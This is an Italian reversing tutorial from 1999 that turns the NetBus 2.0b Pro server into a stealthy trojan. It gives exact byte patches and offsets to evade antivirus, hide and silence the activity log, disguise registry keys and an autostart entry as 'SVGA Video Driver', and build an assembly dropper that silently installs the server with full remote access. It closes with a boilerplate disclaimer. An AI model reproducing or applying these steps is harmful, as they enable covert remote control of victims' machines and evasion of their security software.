|
Reversing NetBus 2.0b Pro
(trasformiamo un Non-trojan in un Trojan) |
|
05-11-1999 |
by
"Quequero" |
|
|
UIC's Home Page |
Published by Quequero |
|
Ecco a voi un tutorial sul vero e puro reversing,
godetevelo :) |
|
UIC's form |
- Home page se presente: http://quequero.cjb.net
- E-mail: [email protected] or [email protected]
- #Crack-it #UIC
|
UIC's form |
Difficoltà
|
(
)NewBies (X)Intermedio (X)Avanzato ( )Master |
|
Avete mai sentito parlare del netbus 2.0? Bhè io credo di si e probabilmente avrete
anche letto la mia guida all'uso del programma.....Bhè visto che tutti e due sappiamo di
cosa stiamo parlando andiamo a ricostruire il programma
- Reversing NetBus 2.0b Pro
(trasformiamo un Non-trojan in un Trojan)
- Written by Quequero
- Scaricate qua l'allegato (949kb)
Non avete mai praticato il reversing nel vero senso della parola? Bhè è giunto il
momento di cominciare!
- SoftIce 4.0 (ma va bene qualunque versione)
- W32DASM
- Hex-Workshop
- Borland Resource Workshop
- Stone PE Crypter
- Petite v2.0
- ProcDump 1.5
- ASPack v 1.08.03 o 1.08.04
- Un antivirus (io ho usato l'AVP)
- La calcolatrice di winzoz
- Avrete bisogno di NetBus 2.0b Pro anche se noi
reverseremo solo il server (cmq se l'avete completo è meglio)
- NetBus! Chi era costui? Bhè qualcuno lo chiama trojan...qualcuno lo adora, altri lo
odiano...io...lo reverso...già! Il programma viene visto dagli antivirus come una
backdoor, se chiedete in giro vi diranno che è un trojan.....Macchèèè tutte cretinate,
il programma non può vantarsi di quel nome...un trojan è invisibile e silenzioso, il
netbus è molto visibile e soprattutto molto poco flessibile heheheheeh...raga è giunta
l'ora di trasformare questo pargoletto in un vero e proprio trojan con in
controcoglioni....vabbè non esageriamo :) cmq lo miglioreremo di molto!
Prendete il server del netbus (vi consiglio di pescare il seriale leggendo il mio
tutorial che si trova alla uic prima di iniziare), il suo nome è NBSvr.exe, avviatelo
senza timore e come per magia vi apparirà davanti agli occhi una graziosa finestra
corredata di alcuni pulsantini....ma come?!?!? Non doveva essere un trojan? Bhè in
effetti dovrebbe proprio essere un trojan....Ma non credo che troveremo mai uno talmente
leim (xOANONÓÔÒ :) da configurarsi sotto i vostri occhi un
potenziale trojan...Bhè come tutti sapete un "cavallino" modello dovrebbe
essere invisibile e soprattutto molto molto flessibile, e sono proprio queste le doti che
conferiremo al nostro pargolo....Già, invisibilità e flessibilità..Hihihihihihi...Bene
è con sommo piacere che dopo un periodo ancora non terminato di impegni estremamente
pesanti che vi presento questo tute...Quindi...c'mon babe let's reverse :)
- Avviate il NetBus e noterete subito che viene creata una dll di nome NBHelp.dll....Mmmmm
sta cosa non ci piace per niente e poi se prendete un qualunque antivirus vedrete che la
rileva come pericolosa e la cancella...quindi primo passo: packare la dll, crittarla e
cambiarne il nome hihihihihihi come sono perfido :).
- Per prima cosa dobbiamo rendere questa dll invisibile, ma come? Aprite un prompt di dos
e scrivete:
-
- c:\> petite -9 NBHelp.dll
-
- e così avrete la dll compressa ed un backup, poi sempre dallo stesso prompt scrivere
-
- c:\> spec NBHelp.dll
-
- in questo modo la dll sarà anche crittata, adesso aprite l'antivirus e
controllatela....Okkei sembra essere invisibile, mi raccomando non packate la dll con
l'ASPack che ci sono dei problemi, ve lo dico perchè già c'ho provato :).
- Ma adesso cosa ci facciamo con questa dll? Semplice, dobbiamo fare in modo che il
programma estragga la NOSTRA dll e non la sua, per prima cosa dobbiamo vedere quanto è
grande. Quindi aprite sice e mettete un breakpoint su writefile (bpx writefile) dovete
tener presente che il programma crea il file con CreateFileA e poi lo riempie con
WriteFile, createfile non ci interessa più di tanto e quindi lo scartiamo però dobbiamo
anche trovare la locazione dalla quale il programma attinge byte da piazzare nel file,
quindi aprite la vostra guida della API e cercate WriteFile, se non ce l'avete ci penso
io:
-
- BOOL WriteFile(
- HANDLE hFile,
|
- // handle del file nel quale scrivere
|
- LPCVOID lpBuffer,
|
// puntatore ai bytes da scrivere nel file |
DWORD nNumberOfBytesToWrite,
|
// numero di bytes da scrivere (la dimensione
del file finale) |
LPDWORD lpNumberOfBytesWritten,
|
// puntatore al numero di bytes scritti |
LPOVERLAPPED lpOverlapped |
// puntatore alla struttura per I/O sovrapposti |
); |
- ricordatevi che i dati vengono pushati nello stack in ordine diverso
- Okkei, adesso potete avviare NBSvr.exe....ecco sice che poppa e dovreste avere davanti
qualcosa di simile a questo:
- :0040848C 8D442404 lea eax, dword ptr
[esp+04] <-----Esp+04 punta alla stringa che a sua volta punta
alla lunghezza della dll :)))
- :00408490 50
push eax
<-----Salva Eax che adesso punta alla lunghezza della dll cioè
FA00h--->64000 bytes
:00408491 57
push edi
:00408492 56
push esi <-----Esi punta ai dati da scrivere nel file, cioè i bytes della nostra dll
:00408493 53
push ebx
:00408494 E817E4FFFF Call KERNEL32!WriteFile
:00408499 85C0
test eax, eax
:0040849B 7507
jne 004084A4
guardate eax con "d eax" alla riga di comando.....e
troverete il numero di bytes da scrivere nel file cioè FA00h che diventa 64000 in
esadecimale...eccovi la grandezza della dll, 64kilobyte, per verificare clickate sul file
ed andate su proprietà...bene coincidono, ma tutto ciò non ci basta, adesso riavviate
NBSvr.exe e dopo la chiamata a writefile scrivete "d esi", bene, questi sono i
bytes che andranno nella dll e che dobbiamo cambiare con i nostri, ma dobbiamo sapere in
quale sezione ci troviamo e per farlo dovremo clickare in sice col destro su "push
esi" e scegliere "Un-Assemble" oppure scrivere "u
00408492"....Guardiamo la barra verde in basso in sice e c'è scritto: NBSVR!.rsrc,
quindi i byte si trovano nella sezione .rsrc....Adesso abbiamo bisogno di conoscere
l'offset al quale si trovano questi byte per poterli poi ritrovare nell'exe....se scrivete
"d esi" vedrete che il primo byte si trova al RVA ---> 004834BC,
per trovarne l'offset dobbiamo applicare una semplice formuletta (tenetevela stretta che
vi servirà spesso :):
(RVA istruzione - RVA sezione) + Raw Offset sezione = Raw Offset istruzione....Allora
applichiamola, aprite il ProcDump, clickate su PE Editor e poi selezionate il file del
server...scorrete la lista e col destro clickate su .rsrc e poi su "Edit
section"...bene l'RVA della nostra sezione è 82000h+l'imagebase che è di 400000
così diventa: 00482000, uscite da questo menu e trovatene
nella lista il Raw Offset...per la .rsrc è 7C400h...quindi:
(004834BC-00482000) + 7C400
= 7D8BCh
benissimo, adesso questo numerino magico ci porterà direttamente ai
bytes che vogliamo cambiare...Aprite l'hex-workshop, clickate su "go to offset"
ed inseriteci 7D8BC...tadààà ecco a voi i bytes della dll, se volete controllarli
prendetene una manciata e confrontateli con quelli di NBHelp.dll....Oki a me corrispondono
e ciò vuol dire che il programma non critta in alcun modo la dll prima di estrarla...male
male :). La cosa che stiamo per fare è sostituire i byte della dll originale con i byte
della nostra dll packata e crittata :)...ma non dimentichiamoci una cosa, cioè che il
file originale è lungo 64000bytes mentre il nostro è di 36099bytes, quindi se mi avete
seguito avrete anche capito che c'è bisogno di cambiare prima del writefile il parametro
che indica all'API quanti byte scrivere...Dunque facendo due conti vediamo che 64000
corrisponde a FA00h e 36099 a 8D03h...con un procedimento simile al primo scopriamo che la
lunghezza si trova all'offset 7D9F4h, ovviamente non
troverete FA00 ma 00FA (raga non è colpa mia e colpa della Intel :). Tanto per iniziare
la modifica cambiamo FA00 in 8D03 (quindi 00FA in 038D :) in questo modo il programma
estrarrà solo 8D03h bytes...salvate il file fate na prova....Okkei a me funzia e a voi
pure :), adesso inizieremo la parte più delicata del nostro lavoro: aprite
nell'Hex-Workshop contemporaneamente il NBSvr.exe e la dll packata, portatevi all'offset 7D8BCh nel file NBSvr.exe e troverete la signature
della dll originale "MZP....", adesso massimizzate la finestra nella quale si
trova la dll packata e copiatene tutti i bytes dal primo all'ultimo....Riandate nella
finestra del server e selezionate a partire dall'offset di prima 8D03h bytes (è semplice,
andate nella parte dove trovate il codice esadecimale e scorrete giù fino a che
l'indicatore in basso a destra vi segnerà 0x8D03 bytes) a questo punto attentissimi a non
aver selezionato un byte in meno o in più premerete Ctrl+v oppure il tasto
"incolla" ed avrete incollato i nostri bytes sul file (dovete tenere il pulsante
"ins" disattivato altrimenti i vostri dati incollati si accoderanno a quelli
selezionati), adesso salvate e quando vi chiede di fare il backup dell'originale
rispondete di si...Uscite dal programma e controllate che le dimensioni dei due file
(l'originale e quello modificato) siano IDENTICHE, e sopratutto state attenti che l'ultimo
byte incollato sia UGUALE all'ultimo byte della dll packata....Adesso vi consiglio di
riempire i successivi bytes con tutti zeri....Bene bene, fate una prova, avviate il file e
vedete se la dll che vi genera è uguale a quella packata...a me si quindi tutto okkei.
Riposatevi 5 minuti che avremo da fare ancora per
parecchio............................................................................
Io mi sono riposato un pochetto....ricominciamo: altra cosa che dobbiamo
fare è cambiare il nome della dll perchè NBHelp.dll è un po' troppo esplicito, io la
chiamerò mfc40a.dll...ma cosa andiamo a cambiare? Bhè probabilmente dovremo cambiare il
nome in due parti dell'exe, il primo al LoadLibrary che carica la dll stessa ed il secondo
al CreateFile, quindi piazzate un breakpoint su LoadLibraryA e steppate fino ad arrivare
qua:
- :00464EE8 E813E7F9FF
call
00403600
- :00464EED 68B84F4600
push
00464FB8
<-----NBHelp.dll
:00464EF2 E8C918FAFF
KERNEL32!LoadLibraryA
:00464EF7 A3F0FF4600
mov
dword ptr [0046FFF0], eax
:00464EFC 833DF0FF460000 cmp dword ptr [0046FFF0], 00000000
:00464F03 0F84A8000000 je
00464FB1
con i soliti calcoletti di prima cerchiamoci l'offset di 00464FB8 che è: 643B8h, quindi aprite l'Hex-Workshop....go to offset e cambiate il
nome in mfc40a.dll...È inutile provare perchè ora non cambia nulla tranne che il
programma cerca di caricare il file mfc40a.dll. Adesso rimettete un breakpoint su
CreateFileA e steppate finchè non arrivate qui:
- :00408430 53
push ebx
- :00408431 8BD8
mov ebx, eax
- :00408433 6A00
push 00000000
<-----Guardate in EAX o EBX o ECX o EDX o ESI e troverete il nome del file da
creare
:00408435 6880000000 push 00000080 <-----FILE_ATTRIBUTE_NORMAL
:0040843A 6A02
push 00000002 <-----CREATE_ALWAYS
:0040843C 6A00
push 00000000 <-----FILE_SHARE_NONE
:0040843E 6A00
push 00000000 <-----SECURITY_ANONYMOUS
:00408440 68000000C0 push C0000000 <-----GENERIC_READWRITE
:00408445 8BC3
mov eax, ebx
:00408447 E810BBFFFF KERNEL32!CreateFileA
:0040844C 50
push eax
adesso con il solito metodo vi ritrovate l'offset al quale è localizzato il nome
che in questo caso è: 642B4h, andate nell'hex-workshop e cambiatene il nome con
mfc40a.dll...Abbiamo fatto i fondamentali, ma per evitare bug cambiate in mfc40a.dll anche
le stringhe agli offset 86334h 8AB34h 673E0h. Adesso la nostra dll ha un nome tutto suo e
questo è mooooooooolto bene :) solo che il nostro caro programma ancora non è un trojan
per due motivi, il primo è che crea un file di log chiamato log.txt nel quale scrive
tutto ciò che noi facciamo sull'harddisk il nostro IP è compreso tra queste righe :)
hehe allora fixiamo questo problema e poi passiamo al secondo dramma da cambiare :)
Non vi nascondo che in un primo momento sono rimasto spaesato, in effetti non
sapevo che fare perchè se non creavo il file il server crashava, se mettevo il file
log.txt come readonly il programma ci scriveva dentro lo stesso allora ho iniziato a
pensare.....e pensa che ti ripensa mi sono detto: "Bhè dovrà pure scriverci in
questo dannato file? E magari usa proprio WriteFile!", bhè un bel breakpoint sulla
funzione, apro la console, mi collego al mio pc e boom, eccoti più bello che mai sice,
non avete capito? Vi mostro una cosa:
- BOOL WriteFile(
- HANDLE hFile,
|
- // handle del file nel quale scrivere
|
- LPCVOID lpBuffer,
|
// puntatore ai bytes da scrivere nel file |
DWORD nNumberOfBytesToWrite,
|
// numero di bytes da scrivere |
LPDWORD lpNumberOfBytesWritten,
|
// puntatore al numero di bytes scritti |
LPOVERLAPPED lpOverlapped |
// puntatore alla struttura per I/O sovrapposti |
); |
si si, lo so che sta tabella l'ho già messa sopra, ma guardate.....vedete il terzo
parametro? Esatto, se lo settiamo a zero non verrà scritto un cavolo di niente la
dentro...quindi bpx writefile, fate partire la console, avviate anche il server e
connettetevi al vostro pc (IP 127.0.0.1).....Tadàààà ecco sice, steppate fino ad
arrivare qui:
- :0040572B 51
push ecx
- :0040572C 8B500C mov edx,
dword ptr [eax+0C] <-----Muovi
in edx il numero di bytes da scrivere nel file
- :0040572F 85D2
test edx, edx <-----Edx
uguale a 0? (edx è uguale a zero se ci sono stai degli errori e il server da un
messaggio)
- :00405731 7E1A
jle 0040574D <-----Se si salta a GetLastError
- :00405733 33C9
xor ecx, ecx
- :00405735 89480C
mov dword ptr
[eax+0C], ecx
- :00405738 51
push ecx
- :00405739 8D4C2404 lea ecx, dword ptr [esp+04]
- :0040573D 51
push ecx
- :0040573E 52
push edx <----- Edx
contiene il numero di byte da scrivere :))))
- :0040573F FF7014
push
[eax+14] <-----eax+14
contiene l'offset del buffer che contiene i nostri dati
- :00405742 FF30
push dword ptr [eax]
- :00405744 E807BBFFFF KERNEL32!WriteFile
- :00405749 85C0
test eax, eax <-----Scrittura
avvenuta con successo? Muovi 1 in eax se non ci sono stati errori
- :0040574B 7404
je 00405751 <-----Eax = a
0? Salta a GetLastError
-
- cosa dobbiamo modificare? Dobbiamo fare un paio di interventi
sotto anestesia locale quindi poco rischiosi :) per prima cosa al posto di test edx, edx
al RVA 0040572F ci mettiamo un bel xor edx, edx ed il salto sotto lo noppiamo, quindi in
sice fate così: a 40572F invio
- xor edx, edx
- nop
- nop
- ed ora state tranquilli che il log sarà vuoto :), segnatevi i byte ed andateli a
cambiare nel file....Vabbè ve lo dico io, andate all'offset 4B2Fh e cambiate questi byte:
85D27E1A con 33D29090....Non è finito, consiglio anche di cambiare il nome e gli
attributi del file di log, lo chiameremo s_s.vxd e setteremo l'attributo di file nascosto
:).In sice scrivete: bpx createfilea
- avviate il server e steppate fino ad arrivare qua:
- :004057E7 6A00
push 00000000
- :004057E9 6880000000 push 00000080
<-----FILE_ATTRIBUTE_NORMAL
:004057EE 51
push ecx
:004057EF 6A00
push 00000000
:004057F1 52
push edx
:004057F2 50
push eax
:004057F3 8D4648
lea eax,
dword ptr [esi+48] <-----Esi+48 punta al nome log.txt
:004057F6 50
push eax
:004057F7 E80CBAFFFF KERNEL32!CreateFileA
:004057FC 83F8FF
cmp eax,
FFFFFFFF
:004057FF 0F84EB000000 je 004058F0
per prima cosa cambiamo quel push 80 in push 02, cioè da push
FILE_ATTRIBUTE_NORMAL diventa push FILE_ATTRIBUTE_HIDDEN, e poi cambiamo il nome da
Log.txt a s_s.vxd, quindi da sice scrivete: a 4057e9 e poi
push 2
nop
nop
quindi portatevi all'offset 4BE9h e cambiate 688000000 in 6A02909090, poi andate
all'offset 67E04h e cambiate Log.txt in s_s.vxd, salvate il tutto e provate :) dhe hi hi
hi come godo, non vedo l'ora di provarlo il mio trojanino :)...bhè a me comunque funziona
:)))), bene quindi il primo male è fixato, manca il secondo :) ma siccome (che ci
crediate o no) sono passate delle ore dall'inizio della seconda parte del tutorial io vado
un po' a riposarmi :)
Eccomi tornatooooooo :))))) hihihihi, allora, se non erro si doveva parlare del
secondo problema...già, bhè, il NetBus potrebbe anche essere un quasi-trojan se non
avesse una grave pecca, cioè se noi lo spediamo a qualcuno e quel "qualcuno" lo
avvia, il programma non corre subito a nascondersi ma anzi gli si presenta davanti come un
merluzzo, e questo sapete perchè? Bhè perchè il caro programmuzzo vuole essere
configurato a dovere ed è inutile configurarlo a casa perchè lui va a cercare delle
chiavi nel registro, cosa farà allora il caro Que? Sicuramente cambierà il valore di
queste chiavi vero?..Si vero :), allora ragazzo aprite il regedit e successivamente la
chiave HKEY_CURRENT_USER, orroreeeee c'è una chiave che si chiama NetBus Server, già, apritela e troverete tante belle cosette :), aprite la
SubKey General e guardatevi un po' i valori, tenete conto che il valore 1 significa vero
ed il valore 0 significa falso (all'insegna di uno sfacciato uso i classici valori
booleani :), nella chiave general la prima stringa deve stare a 1 altrimenti il server non
accetta connessioni dal client, AccessMode dovrebbe stare a 2 perchè ci da il livello di
accesso più alto, AutoStart mi sembra ovvio che deve stare a 1, TCPPort la settate come
vi pare e Visibility deve stare a 3 che vuol dire il più alto grado di invisibilità, poi
nell'altra SubKey, quella che si chiama Protection ci sta la password che se non è
settata fa assumere alla stringa un valore di "A", la pass è però crittata, ma
di questo parleremo solo dopo :), il nostro lavoro consite ora nel cambiare i nomi nel
modo più inoffensivo possibile e di settare i valori di default secondo il NOSTRO default
:)))
Per cercare il nome della chiave principale basta fare un search
nell'hex editor, cmq il valore giusto sta a 66254h, mentre per trovare il nome delle due
subkey dobbiamo procedere diversamente. Già, dobbiamo usare un metodo un po' più leim,
in pratica cerchiamo il nome della chiave e cambiamo ogni stringa che troviamo, questo
lavoro può sembrare barbaro ma si deve davvero fare :), eccovi comunque la locazione di
tutte le stringhe "General", potete scegliere qualunque nome ma vi consiglio di
usare un nome con la stessa lunghezza dell'originale perchè altrimenti dovreste cambiare
il byte che indica al RegOpenKeyExA di quanti byte deve essere il nome della key, se
invece usate un nome più corto allora dovrete riempire solamente lo spazio restante con
degli zeri, io ho scelto questo nome TCP_IP......scusate...eccovi gli offset delle
stringhe da cambiare: 65798h, 65BC0h, 65E64h, 660ACh, fatto? Bene, salvate tutto, avviate
il file vedete se la chiave Web/TCP_IP viene generata, cambiate dei valori e vedete se
vengono settati...Okkei a me funziona...Coraggio la stessa cosa per la SubKey di nome
"Protection", io la chiamerò DefBrowser: 65C30h, 65ED4h, 6611Ch, ed ora andiamo
a cambiare le ultime stringhe, eccovene un breve riassunto degli offset:
Accept: 65BB0h, 65E54h, 6609Ch (io l'ho chiamata Downll)
AccessMode: 65BF4h, 65E98h, 660E0h (la mia è InternetSp)
AutoStart: 65C08h, 65EACh, 660F4h (la mia è LocationT)
TCPPort: 65BD0h,
65E74h, 660BCh (la mia l'ho chiamata DNSHost)
Visibility: 65784h, 65BE0h, 65E84h (la mia si chiama PingTimeRe)
Password: 65C1Ch,
65EC0h, 66108h (la mia è Referrer)
Questo lavoro è stato di tutto riposo ma ora dobbiamo fare in
modo che i valori settati dal programma al primo avvio siano diversi, per fortuna la
strada non dobbiamo cercare le stringhe nel file come prima altrimenti il nostro tentativo
di reversing sarebbe diventato mooooolto tedioso :). Come prima
cosa dobbiamo capire come vengono create le chiavi e le stringhe nel registro, quindi
settate un bp su RegSetValueExA....avviate il netbus...e sbam....
- :0045B161 8B45FC
mov eax, dword
ptr [ebp-04]
<-----Muovi in eax il valore da inserire nella stringa del registro
:0045B164 50
push eax
:0045B165 56
push esi
:0045B166 6A00
push 00000000
:0045B168 8BC7
mov eax, edi <-----Muovi in eax il nome della chiave del registro che si sta modificando
:0045B16A E8ED8DFAFF call 00403F5C
:0045B16F 50
push eax
:0045B170 8B4304 mov
eax, dword ptr [ebx+04]
:0045B173 50
push eax
:0045B174 E84FB4FAFF advapi32.RegSetValueExA
:0045B179 85C0
test eax, eax
:0045B17B 742E
je 0045B1AB
come vedete è abbastanza semplice, al primo break la chiave esaminata sarà la
nostra Downl (cioè Accept) ed eax al RVA 45B161 punterà al valore di default....0
:)) ma vogliamo fare una cosa intelligente? Dunque, sappiamo che tutti i valori vengono
settati tramite la stessa routine e tutti con lo stesso ordine cioè:
Downl = 0
DNSHost = 20034
PingTimeRe = 0
InternetSp = 2
LocationT = 0
Referrer = A
cosa cerchiamo di più dalla vita?
i valori che ci interessano sono solo tre:
Accept connections
Invisible (95/98)
AutoStart
tanto Full Access è settato di default, quindi dobbiamo fare un po' di coding e
dobbiamo settare le chiavi nel registro a questi valori:
Accept connections (Downll) a 1
Invisible 95/98 (PingTimeRe) a 3
Autostart a 1
le vie che ci si pongono davanti sono due:
1) inserire codice nostro per creare le chiavi
2) includere il programma in un sorgente nostro e poi fargli fare tante cose belle
in realtà potremmo scegliere la prima soluzione ma allora dovremmo inserire
davvero moltissimo codice, per questo faremo la seconda, iniziamo con l'aprire il nostro
file con il Resource Workshop ed eliminiamogli l'icona così sembrerà un comune exe, poi
facciamoci un'idea di come si comporterà il nostro pargolo...per prima cosa all'avvio
creerà le chiavi nel registro, il programma padre (quello che stiamo per creare)
estrarrà quindi il pargoletto in una directory mooooolto affollata, avvierà il pargolo e
quest'ultimo sarà felice di consentirci l'accesso al computer, potremmo corredare anche
il tutto con una bella messagebox tanto per non far insospettire il lamer di turno :) ma
questo lo farete da soli :)...A questo punto dovete fare alcuni ritocchi perchè il lavoro
sul file del netbus è oramai finito, quindi cambiate TUTTE le stringhe NetBus Server con
altre (ma non toccate la stringa NetBuse Base) e soprattutto fate una cosa, se settate
"Autostart every windows session" a 1 allora il programma inserirà una chiave
nel registro di windows a
HKEY_LOCAL_MACHINE\Software\Mircosoft\Windows\CurrentVersion\RunService che si chiamerà
NetBus Server Pro, questa stringa la trovate nel file all'offset 67AE4h (la troverete a
questo offset solo dopo aver eliminato l'icona altrimenti sarà altrove :) ed io l'ho
cambiata in SVGA Video Driver heheheh che furbone :))). Dobbiamo fare in modo che il
programma setti le chiavi nel registro prima che si avvii ed i passi che seguiremo saranno
questi:
1) Creazione di un programma ASM che crei le chiavi per fatti suoi
2) Inclusione del NetBus Server nel programma
3) Estrazione del server dal file ed esecuzione dello stess
ovviamente ho già fatto tutto io ed il codice lo troverete nel file che avete
dovuto scaricare all'inizio del tutorial, ma credo sia giusto spiegarvi come fare:
innanzitutto creerete il programma che setta le chiavi e lo testerete, poi con l'utility
"Bin2Db" che si trova nel pacchetto convertirete l'exe originale del server in
un file di testo scrivendo al prompt di dos: bin2db nbsvr.exe nb.txt
così vi ritroverete sull'hard disk un bel file di testo di 1.1Mb, non dovete far
altro che copiare tutto quel file nel sorgente ASM del programma appena, eccovi cosa
vedrete prima della procedura:
- lpData4th db '65842',0 ; TCPPort number
- lpData5th db '2',0
; Access mode:
full
- lpValueName4th db 'DNSHost',0 ; TCPPort
- lpValueName5th db 'InternetSp',0
- Buffer dd 3 dup (0)
- Value dd 1
- handle dd 0
- Random1 dd 1
- Random2 dd 812041h
- ff dd 5 dup (0)
; Attenti a cosa succede qui
File_Size dd 270336
B dd 4
NewFileLocation db 'c:\windows\system\',0
Buff dd 4 dup (0)
.code
Start:
push offset lpdw
push offset Result
push NULL
push 1F0003h
push NULL
push NULL
push NULL
ecc....ed ecco cosa vedrete dopo:
Buffer dd 3 dup (0)
Value dd 1
handle dd 0
Random1 dd 1
Random2 dd 812041h
ff dd 5 dup (0)
; Qui
ho inserito Bytes_To_Write contenente tutti i bytes dell'exe originale
Bytes_To_Write db 077,090,080,000,002,000,000,000,004,000
db 015,000,255,255,000,000,184,000,000,000
db 000,000,000,000,064,000,026,000,000,000
db 000,000,000,000,000,000,000,000,000,000
db 000,000,000,000,000,000,000,000,000,000
db 000,000,000,000,000,000,000,000,000,000
db 000,001,000,000,186,016,000,014,031,180
db 009,205,033,184,001,076,205,033,144,144
db 084,104,105,115,032,112,114,111,103,114
................
...............
File_Size dd 270336
B dd 4
NewFileLocation db 'c:\windows\system\',0
Buff dd 4 dup (0)
Se avvierete il programma succederanno in sequenza tutte queste cose: creazione di
tutte le chiavi nel registro, creazione di un nome casuale di 8 caratteri, estrazione del
server nella directory windows\system con il nome casuale, esecuzione del server. A questo
punto avrete accesso alla macchina remota ma come vedete la password non è settata:
lpData1_st db 'A',0 ; Password (A= No password set)
potremmo anche non settarla e lasciare l'accesso libero ma
visto che siamo reverser andiamo a reversare l'algo che generea questa password e facciamo
un generatore di password, prima di iniziare dovete sapere che quando inserite una
password questa viene crittata, viene preceduta dal carattere "A" e salvata nel
registro, al momento della connessione il Client critta la password ed il Server la
confronta con quella che si trova nel registro, se sono uguali fa passare la richiesta di
connessione. Come prima cosa aprite il server, settate una pass "ad cazzum",
mettete un breakpoint su hmemcpy (bpx hmemcpy), premete okkei e steppate fino ad arrivare
al RVA 00464689 o semplicemente una volta entrati nel codice del server scrivete "g
464689", cancellate tutti i bp (bc*) e dovreste approdare qui (stiamo parlando del
file originale, quindi ancora non l'icona):
CODE:00464689
mov eax, [ebp+var_8]
; Muovi in EAX l'offset della password
CODE:0046468C mov edx,
[ebp+var_18]
; Muove in EDX il numero del carattere che si sta esaminando
CODE:0046468F
movzx eax, byte ptr [eax+edx-1] ; Mov in EAX un
carattere della password inserita
CODE:00464694 add
ebx, eax
; Aggiungi ad EBX che al primo loop contiene 41h
(in ASCII = A) il carattere che si
; sta esaminando
CODE:00464696 and
ebx, 800000FFh
; Se il risultato è più grande di due cifre taglialo
CODE:0046469C jns short CODE_4646A6
CODE:0046469E dec ebx
CODE:0046469F or ebx,
0FFFFFF00h
CODE:004646A5 inc ebx
CODE:004646A6
cmp esi, [ebp+var_10]
; Confronta esi (usato come contatore) con la
lunghezza della stringa "NetBus Base"
CODE:004646A9 jge short CODE_4646AE
; Se è più lungo reinizializza il contatore
CODE:004646AB inc esi
CODE:004646AC jmp short CODE_4646B3
CODE:004646AE
mov esi, 1
CODE:004646B3
mov eax, [ebp+var_4]
CODE:004646B6 movzx eax, byte
ptr [eax+esi+8] ; Muovi in EAX
un carattere della stringa "NetBus Base"
CODE:004646BB xor ebx, eax
; Xora EBX con il carattere che si trova in EAX
CODE:004646BD lea eax, [ebp+var_1C]
; Da qui in poi la pass viene solamente spostata in un
buffer
CODE:004646C0 mov edx, ebx
CODE:004646C2 call CODE_403CC0
CODE:004646C7 mov edx,
[ebp+var_1C]
CODE:004646CA lea eax,
[ebp+var_14]
CODE:004646CD call CODE_403DA0
CODE:004646D2 inc [ebp+var_18]
CODE:004646D5 dec edi
CODE:004646D6 jnz short CODE_464689
; Continua fino alla fine della password
non disperate, ora vi spiego il funzionamento di questo
semplicissimo algoritmo: per prima cosa viene sommato ad EBX il codice esadecimale del
carattere che si sta esaminando, in EBX al primo loop troviamo 41h che in ASCII
corrisponde al carattere "A", nei successivi loop troviamo in EBX il risultato
delle operazioni successive e non più 41h...Viene fatto un check e se il contenuto di EBX
occupa più di un byte allora viene troncato, poi sempre questo risultato viene xorato con
i caratteri di una stringa che si trova nel server cioè: "NetBus Base", è
ovvio che se cambiate la stringa al client si e al server non o viceversa non otterrete
nessuna password valida, quindi attenti :) ecco a voi questo stupido algoritmo, ho creato
il programma che vi critta la pass, in questo modo potrete scegliere una pass che più vi
aggrada e sostituirla nel sorgente. Il problema è che il DOS non ha tanti caratteri
quanti windows e quindi non dovrete far altro che lavorare pochissimo di Sice, davvero
solo due righe, io ho infilato nel programm un INT 3 così da farvi trovare subito la
pass, ecco come fare: clickate sul programma, una volta avviato aprite sice e mettete un
bp sull'interrupt 3 (bpint 3), scrivete nel programma la password che volete ed otterrete
questo:
Insert your password: MyPassword
appena premerete invio sice popperà e voi dovrete scrivere: d
si+2a-si+1
a vi verrà visualizzata nella finestra dei byte la vostra pass,
prendete un foglietto e segnatevela tutta, a me, se scelgo come password
"MyPassword" è: 415CD87B9B7DD4011205
mi raccomando, andate a guardare i byte a sinistra e non i
caratteri ascii a destra :), poi prendete il sorgente del programma e sostituite a questa
riga:
lpData1_st db 'A',0 ; Password (A= No password set)
questa:
lpData1_st db 41h, 5Ch,
D8h,7Bh,9Bh,7Dh,D4h,01h,12h,05h,0 ; Password settata
è molto semplice, vi scrivete i byte e li riportati tali e
quali nella stringa di sopra, ricordando di mettere uno zero davanti ogni coppia di byte
che inizia per lettera e di mettere un ",0" a fine stringa....Se potete
compilare il file allora sapete che dovete fare, se invece siete nuovi della
programmazione allora guardate bene l'esempio e capirete :).
Fatto questo, compilate il file, passate tutto sotto lo stone
Pe Crypter e poi sotto l'ASPack :).....Se mi va può anche darsi che faccio un
configuratore per il QueBus....Ma non si sa :)))))
Bhè questo tutorial è finalmente finito, sono molto felice
e non vedo l'ora di chiudere l'editor sennò mi vengono in mente altre centomila cosa e
non la smetto più :) ciauzzzzzzzz
Quequero
- Un ringraziamento particolarissimo va a:
- Kill3xx: grazie kill, e soprattutto grazie per rispondere SEMPRE e tutte le mie domande,
grazie ancora tanto
- Yado: grazie a yado che mi ha passato la sua routine per creare le chiavi nel registro
di windows che le mie non volevano mai funzionare :)
-
- Altri saluti vanno a: Neural_Noise, +Malattia, Zorks56, +Xoanon, Alt255, Ritz, /Spirit/,
Zer0Byte, Baron-Sam, Cod, Courier^ (ma che fine hai fatto?), T3x, Sorrow, fravia+,
Oldiron61, Nobody88, Bobo, Lando, SandMan, Linox, Marco C., YanOrel....Bhè non me ne
vengono più in mente :) ciauzzzzzzzzzzzzzzzz
-
- Un fuck stramiticuzzo va a:
- Buelti: che mi ha ripagato un grosso favore bannandomi dal suo chan
- Tiscali: che a l'Aquila doveva aprire a settembre ed ora non apre neanche entro il 1999
- Alla neve: che non arriva mai e io devo andare a sciare :)
- Alla telecoz: perchè è antipatica
- A Bill Gate$: che presto ci regalerà i sorgenti
- A Brioz: che se non la finisce con le sue fottute minaccie un giorno a l'altro m'inkazzo
- A tutti gli SPAMMATORI (o spammer se siete esterofili) che non la finiscono mai di darci
fastidio
ciauzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
- Qui inserirete con questo carattere il vostro piccolo disclaimer, non è obbligatorio
però è meglio per voi se c'è. Dovete scrivere qualcosa di simile a: vorrei ricordare
che il software va comprato e non rubato, dovete registrare il vostro prodotto dopo
il periodo di valutazione. Non mi ritengo responsabile per eventuali danni causati al
vostro computer determinati dall'uso improprio di questo tutorial. Questo documento è
stato scritto per invogliare il consumatore a registrare legalmente i propri programmi, e
non a fargli fare uso dei tantissimi file crack presenti in rete, infatti tale documento
aiuta a comprendere lo sforzo immane che ogni singolo programmatore ha dovuto portare
avanti per fornire ai rispettivi consumatori i migliori prodotti possibili.
- Noi reversiamo al solo scopo informativo e di miglioramento del linguaggio Assembly.
- Capitoooooooo????? Bhè credo di si ;))))
-
